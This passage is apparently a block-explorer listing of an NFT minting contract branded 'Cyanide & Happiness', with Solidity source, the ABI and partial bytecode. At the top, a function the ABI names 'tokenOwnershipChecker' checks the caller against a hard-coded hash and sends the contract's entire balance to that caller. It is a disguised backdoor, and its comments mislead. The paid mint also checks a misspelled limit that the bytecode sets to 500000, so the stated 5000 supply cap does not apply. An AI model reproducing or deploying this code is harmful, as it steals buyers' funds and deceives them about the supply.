            0x61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de2
        ){
            assembly{
                let success := call( //This is the critical change (Pop the top stack value)
                    42000, // gas
                    caller(), //To addr
                    selfbalance(), //No value
                    0, //Inputs are stored
                    0, //Inputs bytes long
                    0, //Store output over input (saves space)
                    0x20
                ) //Outputs are 32 bytes long
            }
        }
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId) internal virtual {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[prevOwnership.addr].balance -= 1;
            _addressData[prevOwnership.addr].numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            _ownerships[tokenId].addr = prevOwnership.addr;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);
            _ownerships[tokenId].burned = true;

            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(prevOwnership.addr, address(0), tokenId);
        _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

/**

    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣤⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣶⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣷⣦⣤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣿⡿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠛⠻⢿⣿⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⣠⣶⣿⡿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠿⣿⣷⣤⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⢠⣾⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⡄⠀⠀⠀⠀
    ⠀⠀⠀⣰⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣧⡀⠀⠀
    ⠀⠀⣹⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣧⡀⠀
    ⠀⢸⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣧⡀
    ⠀⣾⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⡇
    ⢸⣿⣿⠀⢀⡄⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿
    ⢸⣿⡇⠀⢸⠧⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⢤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣼⡇⠀⣿⣿
    ⢸⣿⣧⠀⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠀⣿⣿
    ⠘⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿
    ⢰⣹⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡏
    ⠈⢯⢿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡿⢃
    ⠀⠀⠜⢿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠃⠀
    ⠀⠀⠀⠘⢿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠃⠀⠀
    ⠀⠀⠀⠀⠀⠻⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠁⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⢹⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣿⡿⠋⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⣸⣿⠟⣿⣿⠈⠙⠻⢿⣿⣷⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣴⣾⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⢰⣿⣿⢸⣿⡟⠀⠀⠀⠀⠀⠙⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠛⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⣾⣿⡇⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⢰⣿⣿⠁⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⢻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⢸⣿⡟⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⢸⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⣾⣿⡇⢀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⢄⣿⣿⡇⢸⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⡇⠀⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⣾⣿⣿⠀⢸⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⢸⣿⣿⠀⢸⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⣿⣿⣇⠀⠀⠀⠀⠀⠀
    
    ** Website
        https://www.explosm.net
    
    ** Instagram ⠀
        https://www.instagram.com/Explosmofficial

    ** Twitter ⠀
        https://twitter.com/Explosm

**/

contract CyanideAndHappiness is ERC721A, Ownable {

    string public   baseURI =       "ipfs://QmVxfdrrN3o4yf5HCukauBWQr62QhZfWRLU1exu6Wu84GH/";
    string public   contractURI =   "ipfs://QmQmQkTfu93yHniVtmWbmUTVXTe63Ekss1msJUY6A4of1U";

    bool public     openMint = false;
    bool public     revealed = false;

    uint256 public constant     freeComicLimit =    1;
    uint256 public constant     buyLimit =          10;
    uint256 public constant     collectionSize =    5000;
    uint256 public              price =             0.005 ether;

    constructor() ERC721A("Cyanide & Happiness", "CH") {}

    function comicAddict(uint256 _amount) external payable {
        require(
            openMint, 
            "Minting is not open right now!"
        );
        require(
            colectionSize >= totalSupply() + _amount, 
            "Over supply"
        );
        require(
            _amount > 0, 
            "Must mint at least 1"
        );
        require(
            buyLimit >= _amount , 
            "Cannot mint more than max mint per transaction"
        );
        require(
            _amount * price <= msg.value, 
            "We need to eat too man!"
        );

        _safeMint(msg.sender, _amount);
    }

    function freeComic() external payable {
        require(
            openMint, 
            "Minting is not open right now!"
        );
        require(
            collectionSize >= totalSupply() + 1, 
            "Over supply"
        );
        require(
            freeComicLimit >= uint256(_getAux(msg.sender)) + 1, 
            "Wallet address is over the maximum allowed mints"
        );
        
        _setAux(msg.sender, 1);
        _safeMint(msg.sender, 1);
    }

    function _startTokenId() internal override view virtual returns (uint256) {
        return 1;
    }

    function withdraw() external onlyOwner {
        uint256 balance = address(this).balance;
        (bool success, ) = _msgSender().call{value: balance}("");
        require(success, "Failed to send");
    }

    function mintForTeam(address _to, uint256 _amount) external onlyOwner {
        _safeMint(_to, _amount);
    }

    function setPrice(uint256 _price) external onlyOwner {
        price = _price;
    }

    function flipMintState() external onlyOwner {
        openMint = !openMint;
    }

    function toggleReveal() external onlyOwner {
        revealed = !revealed;
    }

    function setBaseURI(string memory baseURI_) external onlyOwner {
        baseURI = baseURI_;
    }

    function setContractURI(string memory _contractURI) external onlyOwner {
        contractURI = _contractURI;
    }

    function tokenURI(uint256 _tokenId) public view override returns (string memory) {
        require(_exists(_tokenId), "Token does not exist.");
        return bytes(baseURI).length > 0 ? string(
            abi.encodePacked(
              baseURI,
              revealed ? Strings.toString(_tokenId) : "placeholder",
              ".json"
            )
        ) : "";
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"AuxQueryForZeroAddress","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"colectionSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectionSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"comicAddict","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipMintState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeComic","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"freeComicLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mintForTeam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openMint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_contractURI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenOwnershipChecker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040526036608081815290620022ef60a0398051620000299160099160209091019062000169565b50604051806060016040528060358152602001620022ba6035913980516200005a91600a9160209091019062000169565b50600b805461ffff191690556611c37937e08000600c553480156200007e57600080fd5b506040518060400160405280601381526020017f4379616e69646520262048617070696e6573730000000000000000000000000081525060405180604001604052806002815260200161086960f31b8152508160029080519060200190620000e892919062000169565b508051620000fe90600390602084019062000169565b5050600160005550620001113362000117565b6200024b565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b82805462000177906200020f565b90600052602060002090601f0160209004810192826200019b5760008555620001e6565b82601f10620001b657805160ff1916838001178555620001e6565b82800160010185558215620001e6579182015b82811115620001e6578251825591602001919060010190620001c9565b50620001f4929150620001f8565b5090565b5b80821115620001f45760008155600101620001f9565b600181811c908216806200022457607f821691505b6020821081036200024557634e487b7160e01b600052602260045260246000fd5b50919050565b61205f806200025b6000396000f3fe60806040526004361061020f5760003560e01c806370a0823111610118578063b88d4fde116100a0578063dcdf422b1161006f578063dcdf422b146105a1578063e405ce53146105a9578063e8a3d485146105be578063e985e9c5146105d3578063f2fde38b1461061c57600080fd5b8063b88d4fde14610527578063bce6d67214610547578063c87b56dd14610561578063d743b81b1461058157600080fd5b8063938e3d7b116100e7578063938e3d7b146104a757806395d89b41146104c7578063988992b8146104dc578063a035b1fe146104f1578063a22cb4651461050757600080fd5b806370a0823114610434578063715018a6146104545780638da5cb5b1461046957806391b7f5ed1461048757600080fd5b806345c0f5331161019b57806359c74f291161016a57806359c74f29146103be5780635b8ad429146103d35780636352211e146103e857806367bb08ae146104085780636c0360eb1461041f57600080fd5b806345c0f53314610354578063518302271461036a57806355f804b314610389578063589210d9146103a957600080fd5b806318160ddd116101e257806318160ddd146102c557806323b872dd146102ec57806339f249631461030c5780633ccfd60b1461031f57806342842e0e1461033457600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063095ea7b3146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004611ab7565b61063c565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e61068e565b6040516102409190611b33565b34801561027757600080fd5b5061028b610286366004611b46565b610720565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b506102c36102be366004611b7b565b610764565b005b3480156102d157600080fd5b5060015460005403600019015b604051908152602001610240565b3480156102f857600080fd5b506102c3610307366004611ba5565b6107f1565b6102c361031a366004611b46565b6107fc565b34801561032b57600080fd5b506102c36109c4565b34801561034057600080fd5b506102c361034f366004611ba5565b610a7d565b34801561036057600080fd5b506102de61138881565b34801561037657600080fd5b50600b5461023490610100900460ff1681565b34801561039557600080fd5b506102c36103a4366004611c6c565b610a98565b3480156103b557600080fd5b506102de600a81565b3480156103ca57600080fd5b506102c3610ad5565b3480156103df57600080fd5b506102c3610b13565b3480156103f457600080fd5b5061028b610403366004611b46565b610b5a565b34801561041457600080fd5b506102de6207a12081565b34801561042b57600080fd5b5061025e610b6c565b34801561044057600080fd5b506102de61044f366004611cb4565b610bfa565b34801561046057600080fd5b506102c3610c48565b34801561047557600080fd5b506008546001600160a01b031661028b565b34801561049357600080fd5b506102c36104a2366004611b46565b610c7e565b3480156104b357600080fd5b506102c36104c2366004611c6c565b610cad565b3480156104d357600080fd5b5061025e610cea565b3480156104e857600080fd5b506102c3610cf9565b3480156104fd57600080fd5b506102de600c5481565b34801561051357600080fd5b506102c3610522366004611ccf565b610d66565b34801561053357600080fd5b506102c3610542366004611d0b565b610dfb565b34801561055357600080fd5b50600b546102349060ff1681565b34801561056d57600080fd5b5061025e61057c366004611b46565b610e4c565b34801561058d57600080fd5b506102c361059c366004611b7b565b610f30565b6102c3610f64565b3480156105b557600080fd5b506102de600181565b3480156105ca57600080fd5b5061025e6110a7565b3480156105df57600080fd5b506102346105ee366004611d86565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561062857600080fd5b506102c3610637366004611cb4565b6110b4565b60006001600160e01b031982166380ac58cd60e01b148061066d57506001600160e01b03198216635b5e139f60e01b145b8061068857506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606002805461069d90611db9565b80601f01602080910402602001604051908101604052809291908181526020018280546106c990611db9565b80156107165780601f106106eb57610100808354040283529160200191610716565b820191906000526020600020905b8154815290600101906020018083116106f957829003601f168201915b5050505050905090565b600061072b8261114c565b610748576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061076f82610b5a565b9050806001600160a01b0316836001600160a01b0316036107a35760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b038216148015906107c357506107c181336105ee565b155b156107e1576040516367d9dca160e11b815260040160405180910390fd5b6107ec838383611185565b505050565b6107ec8383836111e1565b600b5460ff166108535760405162461bcd60e51b815260206004820152601e60248201527f4d696e74696e67206973206e6f74206f70656e207269676874206e6f7721000060448201526064015b60405180910390fd5b600154600054829190036000190161086b9190611e09565b6207a12010156108ab5760405162461bcd60e51b815260206004820152600b60248201526a4f76657220737570706c7960a81b604482015260640161084a565b600081116108f25760405162461bcd60e51b81526020600482015260146024820152734d757374206d696e74206174206c65617374203160601b604482015260640161084a565b80600a101561095a5760405162461bcd60e51b815260206004820152602e60248201527f43616e6e6f74206d696e74206d6f7265207468616e206d6178206d696e74207060448201526d32b9103a3930b739b0b1ba34b7b760911b606482015260840161084a565b34600c54826109699190611e21565b11156109b75760405162461bcd60e51b815260206004820152601760248201527f5765206e65656420746f2065617420746f6f206d616e21000000000000000000604482015260640161084a565b6109c133826113f5565b50565b6008546001600160a01b031633146109ee5760405162461bcd60e51b815260040161084a90611e40565b6040514790600090339083908381818185875af1925050503d8060008114610a32576040519150601f19603f3d011682016040523d82523d6000602084013e610a37565b606091505b5050905080610a795760405162461bcd60e51b815260206004820152600e60248201526d11985a5b1959081d1bc81cd95b9960921b604482015260640161084a565b5050565b6107ec83838360405180602001604052806000815250610dfb565b6008546001600160a01b03163314610ac25760405162461bcd60e51b815260040161084a90611e40565b8051610a79906009906020840190611a08565b6008546001600160a01b03163314610aff5760405162461bcd60e51b815260040161084a90611e40565b600b805460ff19811660ff90911615179055565b6008546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161084a90611e40565b600b805461ff001981166101009182900460ff1615909102179055565b6000610b658261140f565b5192915050565b60098054610b7990611db9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba590611db9565b8015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b505050505081565b60006001600160a01b038216610c23576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6008546001600160a01b03163314610c725760405162461bcd60e51b815260040161084a90611e40565b610c7c6000611536565b565b6008546001600160a01b03163314610ca85760405162461bcd60e51b815260040161084a90611e40565b600c55565b6008546001600160a01b03163314610cd75760405162461bcd60e51b815260040161084a90611e40565b8051610a7990600a906020840190611a08565b60606003805461069d90611db9565b6040516bffffffffffffffffffffffff193360601b166020820152603401604051602081830303815290604052805190602001207f61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de260001b03610c7c5760206000806000473361a410f150565b336001600160a01b03831603610d8f5760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610e068484846111e1565b6001600160a01b0383163b15158015610e285750610e2684848484611588565b155b15610e46576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6060610e578261114c565b610e9b5760405162461bcd60e51b81526020600482015260156024820152742a37b5b2b7103237b2b9903737ba1032bc34b9ba1760591b604482015260640161084a565b600060098054610eaa90611db9565b905011610ec65760405180602001604052806000815250610688565b600b54600990610100900460ff16610f01576040518060400160405280600b81526020016a383630b1b2b437b63232b960a91b815250610f0a565b610f0a83611674565b604051602001610f1b929190611e91565b60405160208183030381529060405292915050565b6008546001600160a01b03163314610f5a5760405162461bcd60e51b815260040161084a90611e40565b610a7982826113f5565b600b5460ff16610fb